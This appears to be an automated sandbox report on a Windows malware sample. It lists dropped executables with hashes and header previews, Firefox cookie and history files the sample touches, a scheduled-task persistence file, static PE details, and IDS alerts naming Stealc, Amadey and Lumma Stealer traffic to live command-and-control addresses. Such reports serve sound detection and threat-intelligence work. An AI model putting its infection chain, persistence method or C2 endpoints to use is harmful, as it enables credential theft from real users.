SSDEEP:	49152:2uKaMEpt/xkoQ63mK8d0GyeK9d00nlIUq8rAI8NSx9vZ:JXPxjQ63fO0GyeWAe3
MD5:	1524DA94FEEEBB2A921C3065F4DA2383
SHA1:	68AD3EDC97D668005F47AC76D5A0F8397D24B8CB
SHA-256:	4228F1C544520402CA8D8120ACA88167F1B23CCB2EFB536FE668DC6DD0BC267C
SHA-512:	46988B61B3B9AD9AEBBD860C1B6A4BC2587E0726B498B2BCDF688E200471EA5B08CC68A7404E7D2D85F199EF498AF455B9288D3612B842BDF13F7B3EDBDE2EA6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................H...........@...........................H......C....@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... ..)..P.......X..............@...rmyngibq..... /......Z..............@...qytqqcga......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1816064
Entropy (8bit):	7.945730233203151
Encrypted:	false
SSDEEP:	49152:IAd7UyBBFUC9QgqN7TCot/mbYGiVtr/1VwFEH:IAxUyBBhQg47NZGiH1V
MD5:	3F78E574CEB89348CF3AF90C3A63BF20
SHA1:	6FC220D8237C163947ADFEA2F7E643B8535A2450
SHA-256:	200F25B055E75AB01B7B34120001B35682ECDA95F704E5F0645280B3FC421B38
SHA-512:	F3A8873737D9C338BE9142279FB083950D1456732FF5790884D2C5FF6B91C8B739CBA08B03ED72C539C6497091951B624CC2C0BAB54DCE8665AAA2CAD315F0CD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........i...........@...........................i......)....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... ..*...$......\|..............@...xokcbvfd. ....O......~..............@...ingsbras......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	973312
Entropy (8bit):	6.709619140842053
Encrypted:	false
SSDEEP:	24576:QqDEvCTbMWu7rQYlBQcBiT6rprG8a9AsrY:QTvC/MTQYxsWR7a9
MD5:	6D38511BC3DC5EB936761AD513D0C896
SHA1:	F0577B03F70A0C7633D5A09614645BDBAA068E6B
SHA-256:	4EC52B8B214D74FFFEA15733B10391C5701583992192C37EAD9174A316F942DC
SHA-512:	F66E91FDFB93CE97E917D4A3C8A7B380C0A460232C97563E343C0A4F9656474F3CC42440B2C5D5898F7317BE3864B3D03BBC4E5F79DC37C452106EC683867CEF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L...H>Wg.........."................w.............@..........................0.......)....@...@.......@.....................d...\|....@...o.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....o...@...p..................@..@.reloc...u.......v...d..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2771456
Entropy (8bit):	6.4739597301324014
Encrypted:	false
SSDEEP:	24576:pCVEHemzQ3d6wjoqy/94/gQp9sorK2kSiFx16UYBTXcC/3zVKjBT9SKtbrQDK8io:imQd6qoQT9r9kNGTXPVqJkK4iRZ305
MD5:	3C5C05EE39EA385BC626531B4F5F5DBD
SHA1:	86495EF8DE316F62BE630E035E8F01DA587A372E
SHA-256:	3BCD6CEA79DB7594B29B8FEA202D579226C29C7390812989F368DDD92578C43D
SHA-512:	0540DFA8A577AF5F6B537CD26B7A541C8935BBD51E66CED520EF44AAF39C28EF8BA39B434F9C4CC82ACB5079E5A6CA75931D14D65BB7136A4C713BEB4F97F735
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+......)+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...clroiqwq.........)..:..............@...jwelxfrk. ..........$.............@....taggant.@......"...(.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\EBAEBFIIEC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3230720
Entropy (8bit):	6.698677325526065
Encrypted:	false
SSDEEP:	49152:Ls7yQjSwwgB8Z42x/g/iWWG9uWKcMeEVevC5NQ5zsbG:ujSwwgGZ4vKwwqEVetWG
MD5:	1AAF3E2606D14DB0A9B98489236C9E46
SHA1:	A2C7000CC1D007E6E15E855CC2C759009FD456A5
SHA-256:	32E07D777EAE1DD0ECED61981C34BDC5058D067C090E7535D1B899F8E5AF8A24
SHA-512:	2A91ADA961CBC38E99013E8D421A4716A0308463E4A755AB6836EF9ACC51594E5A8DCFDDF0A78E47C92744DEDB55724BD72BEBD0EDD2B56BB51216DDD6594FB7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....o.2...@.................................W...k............................=1.............................t=1..................................................... . ............................@....rsrc...............................@....idata ............................@...azhnnvna..........................@...slqbrtle.....@1......$1.............@....taggant.0...P1.."...*1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03471196660147061
Encrypted:	false
SSDEEP:	3:G9tFHRNgXC9HYlntFHRNgXCllD89//2lglEl:G9tCCWFtCC789XCgM
MD5:	0EB5254DB91FE1CC3D0E67B375B805FE
SHA1:	6B38D33BB4CD40B4AF5576DCC68B66B271056D1A
SHA-256:	E68CA89F5905F389864CCC098286F6820BC550D87910B1851944F8CCFBA9FF7E
SHA-512:	085BE3D9720EFBED095E5B7838D4D13BFCC4907DEC7B6883C8A576BF2F36FAC39E50D67D5914021398EA79688F4DF54060D64D8581690E5A5B7AEA59005265DD
Malicious:	true
Preview:	..-.........................{.h.u....8X(-..u.W....-.........................{.h.u....8X(-..u.W..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529873774290288
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6bhj4qyaaX86KakfGNBw8dISl:deZquOcwV0
MD5:	FA2CA2A26D36BE276FB9DC3EFB90291B
SHA1:	46312C502E0F8091C5B5F57A32DB39D3703AA0EE
SHA-256:	373229969CAE7ADE65DC8F29341470E17FCB51292DEEDF77487766EB2E2CF235
SHA-512:	9A291F7299F873722D3F0E6A7662ED50038A4E9A81D0C39285D0C69C0313A11D8CA0616E7F56691990CCA57F923AAC959530B61AD2572150B7F671C08CB6ADE1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529873774290288
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6bhj4qyaaX86KakfGNBw8dISl:deZquOcwV0
MD5:	FA2CA2A26D36BE276FB9DC3EFB90291B
SHA1:	46312C502E0F8091C5B5F57A32DB39D3703AA0EE
SHA-256:	373229969CAE7ADE65DC8F29341470E17FCB51292DEEDF77487766EB2E2CF235
SHA-512:	9A291F7299F873722D3F0E6A7662ED50038A4E9A81D0C39285D0C69C0313A11D8CA0616E7F56691990CCA57F923AAC959530B61AD2572150B7F671C08CB6ADE1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\Documents\EBAEBFIIEC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3230720
Entropy (8bit):	6.698677325526065
Encrypted:	false
SSDEEP:	49152:Ls7yQjSwwgB8Z42x/g/iWWG9uWKcMeEVevC5NQ5zsbG:ujSwwgGZ4vKwwqEVetWG
MD5:	1AAF3E2606D14DB0A9B98489236C9E46
SHA1:	A2C7000CC1D007E6E15E855CC2C759009FD456A5
SHA-256:	32E07D777EAE1DD0ECED61981C34BDC5058D067C090E7535D1B899F8E5AF8A24
SHA-512:	2A91ADA961CBC38E99013E8D421A4716A0308463E4A755AB6836EF9ACC51594E5A8DCFDDF0A78E47C92744DEDB55724BD72BEBD0EDD2B56BB51216DDD6594FB7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....o.2...@.................................W...k............................=1.............................t=1..................................................... . ............................@....rsrc...............................@....idata ............................@...azhnnvna..........................@...slqbrtle.....@1......$1.............@....taggant.0...P1.."...*1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\EBAEBFIIEC.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.42065939716336
Encrypted:	false
SSDEEP:	6:sCjTXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lH2ct0:FTf2RKQ1CGAFAjzvYRQVHbt0
MD5:	E438C79DC8D68BDDF15BBDFBBE922AD6
SHA1:	BEC8EA02CB7C92980119DD47541E2B12E416F8D4
SHA-256:	F8FB445114F4230F2B2D7F1B77FE93CF363FD50362266E62D6809710FAC15AE6
SHA-512:	EB9D5A02ADECEFBB194DA68F93FCCF0F02991376302CD1313219BB1B35665988DD64B3038224DF2AA11D3F3D551569AAFBB8DF844F240E8DAC6FCEF74D9A2C75
Malicious:	false
Preview:	....:O...%1M.......F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945730233203151
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'816'064 bytes
MD5:	3f78e574ceb89348cf3af90c3a63bf20
SHA1:	6fc220d8237c163947adfea2f7e643b8535a2450
SHA256:	200f25b055e75ab01b7b34120001b35682ecda95f704e5f0645280b3fc421b38
SHA512:	f3a8873737d9c338be9142279fb083950d1456732ff5790884d2c5ff6b91c8b739cba08b03ed72c539c6497091951b624cc2c0bab54dce8665aaa2cad315f0cd
SSDEEP:	49152:IAd7UyBBFUC9QgqN7TCot/mbYGiVtr/1VwFEH:IAxUyBBhQg47NZGiH1V
TLSH:	8F85332E3F776868EF1D117CD62D52E9A19C32F289AB168D7F01456B4C3C31CA2E1D86
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FECC47DF7CAh
sete byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	6fdaa176dac2d87d0ecbc951d727447f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	73216bbabcaa394e9763c418241cb46f	False	0.58203125	data	4.457968419183986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ac000	0x200	c5ec134a9fbff0feb6e7a42a6ad5d24e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xokcbvfd	0x4f8000	0x1a2000	0x1a1200	921e1e8a46b67c2af1ffe5c13252b087	False	0.9945959834806712	data	7.953900079185616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ingsbras	0x69a000	0x1000	0x400	604cebdcf54d9f3b9be27700135e48ca	False	0.8408203125	data	6.466766904284744	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69b000	0x3000	0x2200	f3cd6ad5451bd2d4295c124f93e9d956	False	0.060776654411764705	DOS executable (COM)	0.7383616866337889	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x698f64	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T20:27:05.896340+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-12-09T20:27:06.336885+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-12-09T20:27:06.488951+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-12-09T20:27:06.809268+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-12-09T20:27:06.995118+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-12-09T20:27:08.415627+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-12-09T20:27:09.292319+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-12-09T20:27:29.718236+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:31.682220+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:33.028355+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:34.207879+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:37.754934+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:38.909148+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:44.625261+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49766	185.215.113.16	80	TCP
2024-12-09T20:28:06.143658+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49786	185.215.113.43	80	TCP
2024-12-09T20:28:10.603451+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49795	31.41.244.11	80	TCP
2024-12-09T20:28:16.560373+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49792	TCP
2024-12-09T20:28:17.912750+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.4	49807	185.215.113.43	80	TCP
2024-12-09T20:28:19.368482+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49813	185.215.113.16	80	TCP
2024-12-09T20:28:23.929286+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.4	65395	1.1.1.1	53	UDP
